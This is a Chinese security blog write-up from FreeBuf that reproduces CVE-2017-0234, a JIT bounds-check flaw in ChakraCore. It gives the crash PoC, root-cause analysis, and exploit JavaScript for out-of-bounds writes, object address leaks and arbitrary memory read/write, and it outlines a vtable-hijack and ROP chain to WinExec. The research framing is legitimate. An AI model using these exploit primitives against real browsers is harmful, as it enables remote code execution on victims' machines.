freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

Edge CVE-2017-0234 漏洞复现与利用
默安科技 2020-08-14 11:46:34 286504

本文作者:逐日实验室,寓意为追逐技术永不停歇,是默安科技安全研究院下的一支团队。

对于浏览器,PDF类软件漏洞,JavaScript脚本都是利用的主要载体,因此这些漏洞的分析利用对js语言的理解也有一定要求。由于笔者对js的涉猎较浅,编写exp的过程中涉及js特性的知识大多靠现查现学,因此会尽量避免下出不够确定的结论,若还有欠缺或谬误的地方也请师傅们指正。

0x01 前期工作

首先clone并切换到漏洞所在的源码版本

git clone https://github.com/microsoft/ChakraCore.git
git checkout d8ef97d90c231e83db96dc4fdff4b39409f7a9b6

Chakra.Core.sln文件在Build目录下。推荐使用VS2015生成解决方案,新版VS可能会遇到缺少运行库的问题。

本文分析仅针对Release配置下编译生成的Chakra,Debug配置中会启用一些额外的检测。

0x02 Crash&POC分析

 使用VS或者Windbg调试都可以,设置可执行文件为ch.exe,参数为js文件。

function write(begin,end,step,num)
{
 for(var i=begin;i<end;i+=step) view[i]=num;
}
var buffer =  new ArrayBuffer(0x10000);
var view   =  new Uint32Array(buffer);
write(0,0x4000,1,0x1234);
write(0x3000000e,0x40000010,0x10000,1851880825);

首先对POC内容简单分析一下

  • buffer申请了一块0x10000的内存作为缓冲区

  • view是以buffer为缓冲区的Uint32变量类型的数组

  • 自定义的write函数对view数组进行了一个循环赋值的操作

  • 第二次write显然超出了0x10000缓冲区的范围,但js中的数组越界赋值,通常会直接忽略

但是Windbg捕获到了一个异常:

(7200.6cbc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
000001a2`9fad0157 46892c8e        mov     dword ptr [rsi+r9*4],r13d ds:000001a2`644c0038=????????

观察相关寄存器及其指向内存区域的情况,其详细内容如下:

0:004> r @rsi,@r9
rsi=000001a19fa40000 r9=00000000312a000e
0:004> dd @rsi
000001a1`9fa40000  00001234 00001234 00001234 00001234
000001a1`9fa40010  00001234 00001234 00001234 00001234
000001a1`9fa40020  00001234 00001234 00001234 00001234
000001a1`9fa40030  00001234 00001234 00001234 00001234
000001a1`9fa40040  00001234 00001234 00001234 00001234
000001a1`9fa40050  00001234 00001234 00001234 00001234
000001a1`9fa40060  00001234 00001234 00001234 00001234
000001a1`9fa40070  00001234 00001234 00001234 00001234

显然rsi指向buffer,r9是write中进行的数组赋值操作中的数组下标i,乘以4是因为Uint32成员单位大小是4字节

0:004> dd @rsi+@r9*4
000001a2`64500038  ???????? ???????? ???????? ????????
000001a2`64500048  ???????? ???????? ???????? ????????
000001a2`64500058  ???????? ???????? ???????? ????????
000001a2`64500068  ???????? ???????? ???????? ????????
000001a2`64500078  ???????? ???????? ???????? ????????
000001a2`64500088  ???????? ???????? ???????? ????????
000001a2`64500098  ???????? ???????? ???????? ????????
000001a2`645000a8  ???????? ???????? ???????? ????????
0:004> !address @rsi+@r9*4

Usage:                  <unknown>
Base Address:           000001a1`9fa50000
End Address:            000001a2`9fa40000
Region Size:            00000000`ffff0000 (   4.000 GB)
State:                  00002000          MEM_RESERVE
Protect:                <info not present at the target>
Type:                   00020000          MEM_PRIVATE
Allocation Base:        000001a1`9fa40000
Allocation Protect:     00000001          PAGE_NOACCESS

越界后的数组下标指向的这块内存不具有RW权限,因此产生了异常

关注点:R9的值并不是第一次越界写入时的数组下标,并且JS正常情况下数组越界并不应该产生异常

查看异常发生时的调用栈

由此可得,是for循环达到一定次数后触发了JIT机制,而异常就发生在通过JIT编译后执行的越界写入中。显然此处JIT生成的汇编代码缺少数组下标的越界检测,通过patch代码的分析来探寻其中的原因。

patch的内容:针对三个标志位的设置与否,添加了额外的检测

根据eliminatedLowerBoundCheckeliminatedUpper-BoundCheck 意译可知,是关闭下标溢出检测的标志位,由此可得这个漏洞之所以能轻易数组越界,是因为开发者主动关闭下标检测。而相关原因将在下文进一步分析。

此外,这个漏洞还有一个特点,JIT中数组越界产生的异常会被chakra自己处理,并不会引发crash,理论上这对漏洞利用的稳定性会有所帮助。(但最后写出的Exp其实并没有用上这个机制)

0x03 成因分析

POC中ArrayBuffer申请的长度0x10000并不是随便选的,这个长度将会决定是由AllocWrapper还是malloc申请内存

JavascriptArrayBuffer::JavascriptArrayBuffer(uint32 length, DynamicType * type) :
    ArrayBuffer(length, type, (IsValidVirtualBufferLength(length)) ? AllocWrapper : malloc)
{
}
bool JavascriptArrayBuffer::IsValidVirtualBufferLength(uint length)
{

#if _WIN64
        /*
        1. length >= 2^16
        2. length is power of 2 or (length > 2^24 and length is multiple of 2^24)
        3. length is a multiple of 4K
        */
        return (!PHASE_OFF1(Js::TypedArrayVirtualPhase) &&
            (length >= 0x10000) &&
            (((length & (~length + 1)) == length) ||
            (length >= 0x1000000 &&
            ((length & 0xFFFFFF) == 0)
            )
            ) &&
            ((length % AutoSystemInfo::PageSize) == 0)
            );
#else
        return false;
#endif
 }

由上方可知0x10000是满足调用AllocWrapper的最小长度

再来看看AllocWrapper的逻辑,实际上还是使用VirtualAlloc进行内存申请与管理:

static void*__cdecl  AllocWrapper(DECLSPEC_GUARD_OVERFLOW size_t length)
{
#if _WIN64
            LPVOID address = VirtualAlloc(nullptr, MAX_ASMJS_ARRAYBUFFER_LENGTH, MEM_RESERVE, PAGE_NOACCESS);
            //throw out of memory
            if (!address)
            {
                Js::Throw::OutOfMemory();
            }
            LPVOID arrayAddress = VirtualAlloc(address, length, MEM_COMMIT, PAGE_READWRITE);
            if (!arrayAddress)
            {
                VirtualFree(address, 0, MEM_RELEASE);
                Js::Throw::OutOfMemory();
            }
            return arrayAddress;
#else
            Assert(false);
            return nullptr;
#endif
}

其中VirtualAlloc申请的大小MAX_ASMJS_ARRAYBUFF-ER_LENGTH是固定值,直接一次性申请4GB大小

define MAX_ASMJS_ARRAYBUFFER_LENGTH 0x100000000 //4GB
AllocWrapper中调用了两次VirtualAlloc,第一次申请了0x100000000的巨大空间但是设置为NOACCESS,第二次VirtualAlloc根据ArrayBuffer实际申请的长度,把0x10000000中相应长度的区域设置为RW

这下我们就可以尝试解释JIT中忽略异常并不设置下标检测的原因了:

  • 这块4G的缓冲区中仅会作为一个数组对象的缓冲区

  • chakra中数组下标是uint32类型,因此其最大值是2^32-1

  • 假设数组成员变量是单字节大小,那刚好无法越过4G的范围

  • 在4G的范围内进行越界读写,并不会产生危害

  • 关闭下标检测可以提升性能

但POC中已经给出了答案,若数组成员变量大于1字节,则可以跨越4G的安全区去进行越界读写。只要利用堆喷射等方式申请到4G的正后方内存,就可以劫持对象的数据结构从而间接实现任意读写。

0x04 漏洞利用

windows环境下的利用相比linux会复杂一些,首要目标大多是先尝试达成任意地址读写,再往后一般也就只是时间问题了。

数据对象劫持

首先观察一下与后续利用相关的数据结构:

//arr大概率能分配到buffer申请到的4G空间的正后方
var buffer =  new ArrayBuffer(0x10000);
var view   =  new Uint32Array(buffer);
var arr = new Array(0x800)
arr[0]=0x111
arr[1]=0x222
  • chakra中数组是基于B Tree的数据结构,大体上我们需要了解其是将数组分部在多节点内存存储

  • 每个节点称之为segment,其中length代表已存储的成员数量,size代表这个seg的大小

  • left代表B tree中左节点

  • next指向下一个segment

  • 0x80000002是MissingItem,简单可以理解为未初始化时的默认值。

  • segment中head的偏移是0x20,存放数组成员的地方从0x38偏移处开始;next指向的是下个segment.head

0:004> dd 1D7`CE5A0000
000001d7`ce5a0000  00000000 00000000 00002020 00000000
000001d7`ce5a0010  00000000 00000000 0000b33a 00000000
000001d7`ce5a0020  00000000 00000002 00000802 00000000
000001d7`ce5a0030  00000000 00000000 00000111 00000222
000001d7`ce5a0040  80000002 80000002 80000002 80000002

使用vs调试可以更轻松地观察数据结构
//通过以下代码进一步观察left与next
arr[0]=0x111
arr[1]=0x222
arr[0x2000]=112233
arr[0x4000]=334455
0x00000131C3B24520  00000000 00000000 00000000 00000000
0x00000131C3B24530  00000000 00000000 00000000 00000000
0x00000131C3B24540  00000000 00000002 00000012 00000000  //left=0 size=2 length=0x12
0x00000131C3B24550  c3b245a0 00000131 00000111 00000222  //next=0x131c3b245a0
0x00000131C3B24560  80000002 80000002 80000002 80000002
.....
0x00000131C3B245A0  00002000 00000001 00000012 00000000  //left=0x2000 size=1 length=0x12
0x00000131C3B245B0  c2158180 00000129 00000333 80000002  //next=0x129c2158180
0x00000131C3B245C0  80000002 80000002 80000002 80000002
......
0x00000129C2158180  00004000 00000001 00000012 00000000  //left=0x4000
0x00000129C2158190  00000000 00000000 00000444 80000002
0x00000129C21581A0  80000002 80000002 80000002 80000002

进行数组查询时,会根据length与size判断是否要去next的下一个节点,如果我们通过POC中的越界写入修改了length与size并改得很大,那就可以通过该数组进行越界读写。

EXP Step1:成功分配两个数组的buffer到4G空间后方

var buffer = new ArrayBuffer(0x10000);
var view = new Uint32Array(buffer);
var arr1 = new Array(0x800);
var arr2 = new Array(0x800);

通过调试观察可得arr2因为内存对齐,实际位于arr1+0x3000处,中间存在无效数据

0:009> dd 0x1AE5EBE0000
000001ae`5ebe0000  00000000 00000000 00002020 00000000
000001ae`5ebe0010  00000000 00000000 000066af 00000000
000001ae`5ebe0020  00000000 000f0000 000f0000 00000000
000001ae`5ebe0030  00000000 00000000 12345678 0000aaaa
000001ae`5ebe0040  00000000 80000002 80000002 80000002
000001ae`5ebe0050  80000002 80000002 80000002 80000002
0:009> dd 0x1AE5EBE3000
000001ae`5ebe3000  00000000 00000000 00004020 00000000
000001ae`5ebe3010  00000000 00000000 0000468f 00000000
000001ae`5ebe3020  00000000 00000004 00000801 00000000
000001ae`5ebe3030  00000000 00000000 00000123 00010000

任意对象地址泄漏 

myarr[0]=myobj;

这一步实际上是将myobj的地址作为指针存储在了数组中,不过正常情况下无法将这个指针的值直接leak出来,但利用越界读等特殊方式就可以做到。

EXP Step2:利用arr1越界读取arr2中的对象指针,实现任意对象leak
//JIT OOB hijack length and size of arr1
write(0x40000000+0x09,0x40000000+0x001000,0x100000,0xf0000);
//Now arr1 can OOB read&write arr2
write(0x40000000+0x0a,0x40000000+0x001000,0x100000,0xf0000);

//now you can leak any object
function getobjadd(myobj)
{
  arr2[3]=myobj;
  uint32[0]=arr1[0xc06];//int to uint
  return (arr1[0xc07])*0x100000000+uint32[0];
}

通过伪造对象实现任意地址读写

这是利用过程中最复杂的操作。

首先总结一下目前拥有的能力:

  1. 通过JIT漏洞越界写arr1及其高地址的内容

  2. 通过arr1越界读写高于arr1地址的内容,如arr2

  3. 任意对象地址leak

而我们现在想伪造一个array对象,通过控制其buffer的方式来实现任意读写,并且buffer以外的对象数据也必须设置得合法。显然目前所拥有的能力很有限,但是上文提到的seg.next在此刻派上了大用场。

将segment的next劫持为对象地址,访问超出当前segment left+length的成员时,则会将该对象的地址当作下一个segment访问
//申请四个共用buffer1缓冲的数组
var buffer1 = new ArrayBuffer(0x100);
//view1-4对象本身基本会分配在一块连续内存上
var view1 = new Uint32Array(buffer1);
var view2 = new Uint32Array(buffer1);
var view3 = new Uint32Array(buffer1);
var view4 = new Uint32Array(buffer1);

调试观察可得,view对象大小为0x40字节

00000230`09013940  00007FFB6B9F8D78 0000023008FD5480 //view1 0偏移处为指向虚表的指针
00000230`09013950  0000000000000000 0000000000000000
00000230`09013960  0000000000000040 0000023009030190  //指向buffer1对象
00000230`09013970  0000000000000004 00000228075AE5F0  //指向真正的缓冲区
00000230`09013980  00007FFB6B9F8D78 0000023008FD5480  //view2
00000230`09013990  0000000000000000 0000000000000000
00000230`090139A0  0000000000000040 0000023009030190
00000230`090139B0  0000000000000004 00000228075AE5F0
00000230`090139C0  00007FFB6B9F8D78 0000023008FD5480  //view3
00000230`090139D0  0000000000000000 0000000000000000
00000230`090139E0  0000000000000040 0000023009030190
00000230`090139F0  0000000000000004 00000228075AE5F0
  1. 上文指出,next指向的是head,而head与数组成员间还相隔0x38-0x20=0x18

  2. 要想通过伪造的next越界读写,必须要知道fake head.left来确定数组下标index

  3. 0x28偏移处是指向buffer1对象的指针,可以通过任意对象leak来获取

综上,将next设置为view1+0x28,则left就是buffer1地址的低4字节,并且数组成员起始区域是view1+0x28+0x18,刚好是view2对象的地址

//将对象数据复制到buffer1缓冲区中
uint32[0]=arr1[0xc00];//leak low 4Byte of buffer1 and int to uint
index=uint32[0];
for(var i=0;i<0x10;i++) {
  view4[i]=arr1[index+i];//Copy data of view object for faking
}

Tips:

  1. arrint当前是int32类型数组,因此数据若大于0x7fffffff,应先转为负数再传给arrint

  2. arrint本身有length属性,必须大于访问的index,直接设置为0xffffff00即可

现在buffer1中已经有了一个完整且合法的数组对象,通过view1[0xe&0xf]即可修改fake buffer来实现任意读写。

最后的一步就是让解释器也把这块内存上的数据当作对象处理

EXP Step3:任意地址读写
  • 关于如何让chakra将指针认为是对象,暂未能深入探究,仅通过不断修改代码测试得出可行的方法
  • 由于笔者能力有限,本文对chakra数组实现的分析仅深入到能理解Exp利用方式的程度,关注点在于left,size,length,next这四个变量的作用。

function readuint32(address)
{
  view4[0x0e]=address%0x100000000;
  view4[0x0f]=address/0x100000000;
  return myview[0];
}

function writeuint32(address,num)
{
  view4[0x0e]=address%0x100000000;
  view4[0x0f]=address/0x100000000;
  myview[0]=num;
}

0x05 从任意读写到弹计算器

劫持控制流

常规思路有泄露栈地址然后ROP等,但windows下的栈稳定性不像linux,即使泄露stack base也难以确认返回地址所在的位置,此处选择的方法是虚表劫持。上文提到view对象0偏移处即为该类数组对象的虚表,类似于linux pwn中常见的IO_FILE利用中可劫持的vtable

00007FFB`87818D78  00007FFB87213CE0 00007FFB87213CE0   //都是函数指针
00007FFB`87818D88  00007FFB87213CE0 00007FFB87213CE0
00007FFB`87818D98  00007FFB87213D10 00007FFB87557480
00007FFB`87818DA8  00007FFB87557460 00007FFB875574A0
00007FFB`87818DB8  00007FFB87557420 00007FFB874BF350
00007FFB`87818DC8  00007FFB873B8310 00007FFB87557DF0

因此我们只要将view对象的虚表指针修改到我们可控的区域,就可以劫持控制流了

栈迁移

由于windows下并没有one_gadget这种方便的存在,劫持控制流后还需要结合其他利用技术才能进行下一步,寻找合适的gadget往往也会是个不小的难题。

  • 本机环境的ntdll与kernel32.dll中,能直接控制RSP并且ret的只有mov rsp, r11。通过push rxx;pop rsp这种间接控制的gadget笔者也没有找到,因此思路转向寻找会使r11数值可控的数组方法

  • 经过很多次尝试后,发现arr1==arr2会将r11设置为arr2对象地址

因此可以直接将对象区域破坏,用于存放ROP chain

 泄漏模块地址

windows有个特性,短时间内模块的基址是不会变的,利用这点可以让调试过程更加方便

  1. 通过对象的虚表指针,减去偏移可以得到ChakraCore.dll的基址

  2. 通过ChakraCore.dll的IAT表,leak其他模块基址

 ROP

  • windows中的底层api往往需要很多参数,大多不像linux下的system/execve那么好用,而且还散布在不同的dll中。此处推荐kernel32!WinExec,仅需控制两个参数并且位于kernel32模块,非常方便。

  • windows64位下api使用寄存器传参通过RCX, RDX, R8, R9,RSP+0x20....传递

  • ntdll中一般会存在很多好用的gadget用于控制参数寄存器

0x06 利用效果

  • 本地环境测试中,唯一的不稳定因素是arr1能否占位到4GB后,成功率大约有80-90%

  • 尝试在开头就大量new Array来占位4GB后,经测试绝大多数情况都是第一次分配就占位成功,若不成功则后续也难以占位到这处位置。若要达成100%成功率,需在此处进一步研究。

  • 其他环境复现,需要修改ROP中用到的gadget偏移

实际上要在Edge上成功利用的话,还需要绕过CFG机制,也就是说无法通过劫持虚表指针直接ROP。至于如何绕过CFG机制的保护,还需要进一步深入的学习。

P.S. 完整exp与注释已经开源至逐日实验室的Github仓库!点击这里跳转或复制以下地址:https://github.com/ZhuriLab/Exploits

0x07 参考链接

Pwn2Own 2017 再现上帝之手:https://slab.qq.com/news/tech/1572.html

case study: cve-2017-0234:https://eternalsakura13.com/2018/07/03/cve-2017-0234-3.0/

_

默安科技逐日实验室专注于信息安全攻防研究,包括漏洞挖掘、逆向工程、红蓝对抗、代码审计、产品赋能等方向, 转载请注明来自FreeBuf.COM

# web安全
本文为 默安科技 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
默安科技 LV.6
杭州默安科技有限公司
  • 196 文章数
  • 39 关注者
默安科技软件供应链安全治理荣获“金智奖”年度AI创新应用
2024-11-28
雳鉴SSCRA·软件供应链风险评估平台升级版正式发布
2024-11-28
实力上榜|默安科技入选2024年度电力行业开源典型实践案例集
2024-11-28
文章目录